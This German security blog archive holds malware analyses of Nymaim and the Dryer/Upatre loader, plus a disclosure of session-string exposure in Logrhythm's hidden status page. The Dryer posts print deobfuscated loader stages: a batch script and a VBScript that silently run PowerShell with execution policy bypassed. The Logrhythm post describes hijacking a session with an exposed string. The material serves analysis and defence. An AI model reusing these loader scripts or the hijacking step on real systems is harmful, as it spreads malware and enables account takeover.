Archiv für den Autor: Patrick

Über Patrick

Ich bin ein 24 jähriger, gelernter Informatiker mit einem Bachelor in Computer Science und System Engineer und Security Specialist für einen IT Provider.

Nymaim in der Schweiz wieder aktiv

Der Trojaner und Cryptolocker bekannt unter dem Namen Nymaim oder Mantsu, den viele wohl eine Zeit lang als Zahlungsaufforderung vom FBI und Interpol wegen angeblichem Konsum von Kinder- und anderer Pornografie gesehen haben, scheint nun vermehrt in einer neuen Version aufzutauchen:

Wir beobachten Nymaim nun bereits seit einiger Zeit, weshalb uns die von Ihnen genannte IP Adressen bereits bekannt sind. Wir können Ihnen bestätigen, dass es sich dabei um Nymaim Botnetz Command&Control Server handelt.
(GovCERT.ch)

Infektion

Das Vorgehen von Nymaim an sich scheint gleich geblieben zu sein. Per Drive-by von gehackten Websites wird per Blackhole Exploit Kit ein passender Exploit geladen und ein Loader installiert, welcher dann den eigentlichen Trojaner nachlädt und ausführt. Darauf hin werden im Hintergrund einerseits Daten abgezogen, Files per RSA verschlüsselt und die bekannte Warnung aufgeschaltet.

Prozesse

Auf einem lokalen Client taucht der Virus durch aktive TCP-Verbindungen zu seinen C&Cs durch den Prozess explorer.exe und svchost.exe auf. Der Loader selbst läuft als smoke_keep.exe und mail_tackle.exe, welche kurz nach dem Nachladen des Trojaners auf dem System terminieren.
Während in dieser Version der Loader wohl aktualisiert wurde, scheint der Trojaner immer noch derselbe zu sein und wird dadurch von den meisten AV-Lösungen verlässlich erkannt und blockiert.

Kommunikation

Kommunikation gibt es bereits bevor der eigentliche Trojaner geladen und ausgeführt wird, da der Loader bereits beim C&C nachfragt, welche Malware und vorallem welche Version er genau nachziehen soll. Diese Kommunikation erfolgt über einfache HTTP-Pakete auf Port 80 nach folgendem Muster:

http://URL.com/rss.php?VAR=ENCRYPTED_STRING&VAR=ENCRYPTED_STRING
http://URL.com/im.php?VAR=ENCRYPTED_STRING&VAR=ENCRYPTED_STRING

Dabei gibt es die URL’s wahlweise jeweils mit einer bis drei Variablen und die verschlüsselten Strings in unterschiedlicher Länge. Laut Analyse von Checkpoint wird hier eine RSA-Verschlüsselung mit Base64-Kodierung kombiniert.

Tracker

Da bei meiner Analyse eine kleine Liste an C&C Server entstanden ist, habe ich kurzerhand alles in einen Tracker gepackt, damit auch andere davon profitieren können:

printscreen001

Update von Dryer-Loader im Umlauf als PowerShell/Dowtre

Heute morgen bin ich über einen Virusalert gestolpert und die Signatur und der Aufbau ist mir gleich bekannt vorgekommen. 3 Files, einmal Batch, einmal VBS und einmal Powershell und zusätzlich ein Filename als Nummernstring; das sieht mir ganz nach dem Dryer-Loader und seiner Gefolgschaft aus!

Ein kurzer Blick auf die beiden Files, welche ich noch vor dem Virenscanner retten konnte, hat meine Vermutung auch bestätigt. Das Batch-Script hat die bekannten, kryptischen GOTO-Anweisungen und zu Beginn der sehr markante 2-fach Ping zur Prüfung der Internetverbindung:

@echo off
:jqduqihdjsakd
ping 3.2.1.1 -n 2
chcp 1251
:nuwqhduiw
set Rts2="vb"
set Rts1="."
set Rts3="s"
set Ads3="21385"
:hdjqkwhdqhwd
set Mts4="C:\Users\ksalivug\AppData\Local\Temp\"
:ajhsdkasghjgsd
set Rts4=%Mts4%%Ads3%
:byqdyqwgjhg
cscript.exe %Rts4%%Rts1%%Rts2%%Rts3%
exit

Ausserdem scheint der übliche Ablauf Makro > BAT > VBS > PS1 > Upatre.EXE > Dryer.EXE immer noch zu bestehen, nur wurde in meinem Fall bereits die PS1 und nicht wie in der ersten Version, welche ich Analysiert hatte, erst der Loader Upatre vom AV Scanner geblockt.

Ausserdem scheint der Entwickler nun auch den Fehler behoben zu haben, welche ich in der ersten Version angekreidet habe. Nun wird nach dem CreateObject auch tatsächlich noch ein Run ausgeführt:

Dim dff
dff = 68
swdff = 68
currentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))
Set objFSO=CreateObject("Scripting.FileSystemObject")
huih = ".ps"&"1"
nuaaa = "powerShell.exe"
currentFile = "C:\Users\ksalivug\AppData\Local\Temp\"&"21385"&huih
Set objShell = CreateObject("Wscript.shell")
objShell.Run ""&nuaaa&" -noexit -ExecutionPolicy bypass -noprofile -file " & currentFile,0,true

Wer das eigene Netzwerk prüfen will, der soll einfach nach Verbindungen zur IP 3.2.1.1 schauen: Diese war bereits beim Upatre sehr konstant einprogrammiert und scheint auch über die einzelnen Versionen nicht all zu gross zu variieren.

Session Hijacking einfach gemacht in Logrhythm

Logrhythm, eine SIEM-Lösung der aufstrebenden Art, welches Splunk oder Q-Radar wohl locker das Wasser reichen kann und im Vergleich zu den beiden Beispielen nur etwa die Hälfte kostet, konnte ich die vergangenen Tage mehr als ausführlich testen und ausprobieren – und ich muss sagen, ich bin begeistert!

Doch vor kurzem bin ich über ein kleines Problem gestossen, das schon fast etwas peinlich ist für ein Hersteller von einer solchen Security-Applikation. Beim Reload der Hauptseite ist mir im Menü aufgefallen, dass plötzlich eine ein weiterer Tab im Menü auftaucht mit der Aufschrift „Status“:

lr

Also habe ich mir mal kurz den HTML-Code dazu angesehen und bin über folgendes Snippet gestolpert:

<a class="navitem " href="/status" target="_self" ng-hide="'active current' != ''">Status</a>

Also schauen wir uns doch mal den Link an, welcher hier versteckt wird:

status

Ich muss schon sagen, ich war doch etwas schockiert und erstaunt. Mal abzusehen davon, dass hier eine Seite mit „Security through Obscurity“ geschützt wird, wird hier auch ohne weiteres der Session-String von allen eingeloggten Nutzern offenbart!

Ein kleiner Test hat gezeigt, was ich beim Entdecken der Seite bereits befürchtet hatte: Eintragen des Strings ins bestehende Cookie und Neuladen der Seite reicht aus und schon habe ich eine fremde Session übernommen… Nun ja, ich kann zwar damit nur einfache Suchanfragen ausführen, doch wenn ich nicht will, dass auskommt, wenn ich die Aktivitäten eines Benutzers überprüfen, so ist das eine effektive Massnahme, um nicht aufzufallen, oder das ganze jemandem anderen unterzuschieben!

Die Status-Seite in diesem Umfang steht zwar nur den globalen Administratoren der Lösung zur Verfügung, doch ich denke auch da sollte man nicht so leichtfertig mit diesen Informationen umgehen, ganz nach dem Motto: „Quis custodiet ipsos custodes?“

Dryer / Upatre im Detail

Vor kurzem bin ich über eine Version vom Dryer beziehungsweise seinem Loader, genannt Upatre gestolpert und meine Analyse möchte ich euch nicht vorenthalten:

Aufbau

In einem ersten Schritt habe ich mich an eine detaillierte Analyse gemacht. Begonnen hat alles mit einem Mail mit Word und Makro im Anhang. Durch einen Dump konnte ich die folgenden Makros rausziehen und durch ein bisschen Reverse Engineering und Zusammensetzen auch die Verschleierungsversuche rückgängig machen:

– ThisDocument
– Module1
– Module2

Daraus entstehen dann die folgenden Scripts. Einerseits ein Batch-Script, Variante 1:

echo off
:pinkator
	ping 1.2.3.1 -n 2
	set ggtt="bs"

:lqwjdjqiw
:lwijdsji
	set trfd="%TMP%\"
	set nmsj="31166"
	set exds="8"

	cscript.exe %TMP%\31166.vbs
	ping 2.2.1.1 -n 2
																								
:windows
	%TMP%\8.exe
																								
:loop
	ping 1.3.1.2 -n 1
	set tar1="31166.bat"
	set stat="444.png"
	del %TMP%\3116.vbs
	del %TMPT\31166.bat
	del %TMP%\444.png
																								
	if exist %TMP%\31166.bat goto loop
	if exist %TMPT\31166.vbs goto loop
exit

Weiterlesen